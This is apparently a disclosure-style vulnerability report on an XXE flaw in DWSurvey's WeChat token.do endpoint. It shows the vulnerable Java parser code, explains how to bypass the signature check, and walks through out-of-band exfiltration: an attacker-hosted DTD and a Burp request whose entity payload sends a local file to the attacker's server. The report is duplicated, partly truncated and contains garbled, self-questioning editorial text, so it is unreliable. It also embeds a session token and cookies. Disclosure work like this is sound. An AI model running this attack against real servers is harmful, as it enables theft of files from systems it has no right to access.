1.Problem Code
Entry point::tokenPost function in src/main/java/net/diaowen/common/base/controller/WeixinController.java
@RequestMapping(value = "/token.do",method= RequestMethod.POST) public String tokenPost(HttpServletRequest request,HttpServletResponse response){ try{ // 微信加密签名 String signature = request.getParameter("signature"); // 时间戳 String timestamp = request.getParameter("timestamp"); // 随机数 String nonce = request.getParameter("nonce"); // 随机字符串 String echostr = request.getParameter("echostr"); // /weixin/token.do?signature=00f51abf5fe5f72fa320c302cf082a38eb9e4295&echostr=4610130048411495279×tamp=1596681070&nonce=231696381 if(timestamp!=null && nonce!=null){ String[] sortStr = new String[]{timestamp,nonce,DWSurveyConfig.DWSURVEY_WEIXIN_SERVER_TOKEN}; String str = SHA1.sortStr(sortStr); String sha1_0 = SHA1.getSha1(str); if(sha1_0.equals(signature)){ //解析消息体 if(echostr!=null){ response.getWriter().write(echostr); return null; }else{ Map<String, String> map= MessageUtil.parseXml(request); /*<ToUserName><![CDATA[toUser]]></ToUserName> <FromUserName><![CDATA[FromUser]]></FromUserName> <CreateTime>123456789</CreateTime> <MsgType><![CDATA[event]]></MsgType> <Event><![CDATA[subscribe]]></Event> <EventKey><![CDATA[qrscene_123123]]></EventKey> <Ticket><![CDATA[TICKET]]></Ticket>*/ String toUserName = map.get("ToUserName"); String fromUserName = map.get("FromUserName"); String createTime = map.get("CreateTime"); String msgType = map.get("MsgType"); String event = map.get("Event"); if("event".equals(msgType)){ //事件扫送 if(event.equals(MessageUtil.EVENT_TYPE_SUBSCRIBE)){ //用户关注时的推送 //判断是否有二维码及场景标识,如果有则是扫一扫绑定 String ticket = map.get("Ticket"); if(ticket!=null){ String eventKey = map.get("EventKey"); String qrScene = eventKey.replace("qrscene_",""); wxQrScene(fromUserName,qrScene,ticket); } }else if(event.equals("SCAN")){ //用户扫码时的推送 String ticket = map.get("Ticket"); if(ticket!=null){ String eventKey = map.get("EventKey"); wxQrScene(fromUserName,eventKey,ticket); } } } } } } response.getWriter().write(""); }catch (Exception e){ e.printStackTrace();; } return null; }The parseXml function is used here. The specific implementation of parseXml is:
` public static Map<String, String> parseXml(HttpServletRequest request) throws Exception {
// 将解析结果存储在HashMap中
Map<String, String> map = new HashMap<String, String>();
// 从request中取得输入流
InputStream inputStream = request.getInputStream();
// 读取输入流
SAXReader reader = new SAXReader();
Document document = reader.read(inputStream);
// 得到xml根元素
Element root = document.getRootElement();
// 得到根元素的所有子节点
List<Element> elementList = root.elements();
// 遍历所有子节点
for (Element e : elementList)
map.put(e.getName(), e.getText());
// 释放资源
inputStream.close();
inputStream = null;
return map;
}
}`SAXReader is called without disabling external entities, leading to XXE.
2.Exploitation Details: if(sha1_0.equals(signature)){ //解析消息体 if(echostr!=null){ response.getWriter().write(echostr); return null; }else{ Map<String, String> map= MessageUtil.parseXml(request);
To enter the if statement and the else branch, we need to pass the signature verification. The signature is computed by SHA1 of the concatenated string of timestamp and nonce (with a fixed token). To enter the else branch, we simply omit the echostr parameter. Construct the parameter signature=a4417ffe09febdf01beb986ae65afc30946ca3b1×tamp=1700000000&nonce=88888888 (assuming the token is known or brute-forced; here the token value is 88888888 as per the example? Actually the original text says: "need to make the SHA1 encryption of the concatenated value of timestamp and nonce=88888888", implying the token used in concatenation is 88888888).
3.Verification:
Create evil.dtd locally with the content:
Then start a Python service to simulate your own server: python -m http.server 8000
Send a request with Burp Suite:
`POST /api/dwsurvey/anon/weixin/token.do?signature=a4417ffe09febdf01beb986ae65afc30946ca3b1×tamp=1700000000&nonce=88888888 HTTP/1.1
Host: 192.168.56.1:8080
Authorization: eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJkd3N1cnZleSIsIm5hbWUiOiLmn6_ov5wiLCJleHAiOjE3NzA5ODI3NDgsImlhdCI6MTc3MDk4MjQ0OCwianRpIjoiYmJhNDgyNTktMzhhOC00MmNlLWExY2ItMzg2NThiYTFhNTcyIiwidXNlcm5hbWUiOiJkd3N1cnZleSJ9.rwnSSOMQ1Kg5JVEedppJ4j7Wu8cEz6Ur2Jk7Xv6T50E
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36 Edg/144.0.0.0
Accept: application/json, text/plain, /
Origin: http://192.168.56.1:8080
Referer: http://192.168.56.1:8080/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: Hm_lvt_ecc8b50a3122e6d5e09be7a9e5383e07=1769957100,1770033416,1770384106; Hm_lvt_10b7c5c443cefbf733038751c89f7d7f=1770977772; HMACCOUNT=090AF7CD6CC25A4C; JSESSIONID=B2EFA772529769DB8B20890265ABAA80; Hm_lpvt_10b7c5c443cefbf733038751c89f7d7f=1770980275
Connection: keep-alive
Content-Type: application/xml
Content-Length: 132
%dtd;
]>
&send;`
The data parameter contains the content of C:\Users\33354\1.txt.

1.Problem Code
Entry point::tokenPost function in src/main/java/net/diaowen/common/base/controller/WeixinController.java
@RequestMapping(value = "/token.do",method= RequestMethod.POST) public String tokenPost(HttpServletRequest request,HttpServletResponse response){ try{ // 微信加密签名 String signature = request.getParameter("signature"); // 时间戳 String timestamp = request.getParameter("timestamp"); // 随机数 String nonce = request.getParameter("nonce"); // 随机字符串 String echostr = request.getParameter("echostr"); // /weixin/token.do?signature=00f51abf5fe5f72fa320c302cf082a38eb9e4295&echostr=4610130048411495279×tamp=1596681070&nonce=231696381 if(timestamp!=null && nonce!=null){ String[] sortStr = new String[]{timestamp,nonce,DWSurveyConfig.DWSURVEY_WEIXIN_SERVER_TOKEN}; String str = SHA1.sortStr(sortStr); String sha1_0 = SHA1.getSha1(str); if(sha1_0.equals(signature)){ //解析消息体 if(echostr!=null){ response.getWriter().write(echostr); return null; }else{ Map<String, String> map= MessageUtil.parseXml(request); /*<ToUserName><![CDATA[toUser]]></ToUserName> <FromUserName><![CDATA[FromUser]]></FromUserName> <CreateTime>123456789</CreateTime> <MsgType><![CDATA[event]]></MsgType> <Event><![CDATA[subscribe]]></Event> <EventKey><![CDATA[qrscene_123123]]></EventKey> <Ticket><![CDATA[TICKET]]></Ticket>*/ String toUserName = map.get("ToUserName"); String fromUserName = map.get("FromUserName"); String createTime = map.get("CreateTime"); String msgType = map.get("MsgType"); String event = map.get("Event"); if("event".equals(msgType)){ //事件扫送 if(event.equals(MessageUtil.EVENT_TYPE_SUBSCRIBE)){ //用户关注时的推送 //判断是否有二维码及场景标识,如果有则是扫一扫绑定 String ticket = map.get("Ticket"); if(ticket!=null){ String eventKey = map.get("EventKey"); String qrScene = eventKey.replace("qrscene_",""); wxQrScene(fromUserName,qrScene,ticket); } }else if(event.equals("SCAN")){ //用户扫码时的推送 String ticket = map.get("Ticket"); if(ticket!=null){ String eventKey = map.get("EventKey"); wxQrScene(fromUserName,eventKey,ticket); } } } } } } response.getWriter().write(""); }catch (Exception e){ e.printStackTrace();; } return null; }The parseXml function is used here. The specific implementation of parseXml is:` public static Map<String, String> parseXml(HttpServletRequest request) throws Exception {
// 将解析结果存储在HashMap中
Map<String, String> map = new HashMap<String, String>();
}`SAXReader is called without disabling external entities, leading to XXE.
2.Exploitation Details:
if(sha1_0.equals(signature)){ //解析消息体 if(echostr!=null){ response.getWriter().write(echostr); return null; }else{ Map<String, String> map= MessageUtil.parseXml(request);To enter the if statement and the else branch, we need to pass the signature verification. The signature is computed by SHA1 of the concatenated string of timestamp and nonce (with a fixed token). To enter the else branch, we simply omit the echostr parameter. Construct the parameter signature=a4417ffe09febdf01beb986ae65afc30946ca3b1×tamp=1700000000&nonce=88888888 (assuming the token is known or brute-forced; here the token value is 88888888 as per the example? Actually the original text says: "need to make the SHA1 encryption of the concatenated value of timestamp and nonce=88888888", implying the token used in concatenation is 88888888).
3.Verification:
Create evil.dtd locally with the content:
Then start a Python service to simulate your own server: python -m http.server 8000
Send a request with Burp Suite:
`POST /api/dwsurvey/anon/weixin/token.do?signature=a4417ffe09febdf01beb986ae65afc30946ca3b1×tamp=1700000000&nonce=88888888 HTTP/1.1
Host: 192.168.56.1:8080
Authorization: eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJkd3N1cnZleSIsIm5hbWUiOiLmn6_ov5wiLCJleHAiOjE3NzA5ODI3NDgsImlhdCI6MTc3MDk4MjQ0OCwianRpIjoiYmJhNDgyNTktMzhhOC00MmNlLWExY2ItMzg2NThiYTFhNTcyIiwidXNlcm5hbWUiOiJkd3N1cnZleSJ9.rwnSSOMQ1Kg5JVEedppJ4j7Wu8cEz6Ur2Jk7Xv6T50E
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36 Edg/144.0.0.0
Accept: application/json, text/plain, /
Origin: http://192.168.56.1:8080
Referer: http://192.168.56.1:8080/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: Hm_lvt_ecc8b50a3122e6d5e09be7a9e5383e07=1769957100,1770033416,1770384106; Hm_lvt_10b7c5c443cefbf733038751c89f7d7f=1770977772; HMACCOUNT=090AF7CD6CC25A4C; JSESSIONID=B2EFA772529769DB8B20890265ABAA80; Hm_lpvt_10b7c5c443cefbf733038751c89f7d7f=1770980275
Connection: keep-alive
Content-Type: application/xml
Content-Length: 132
%dtd;
]>
&send;`
The data parameter contains the content of C:\Users\33354\1.txt.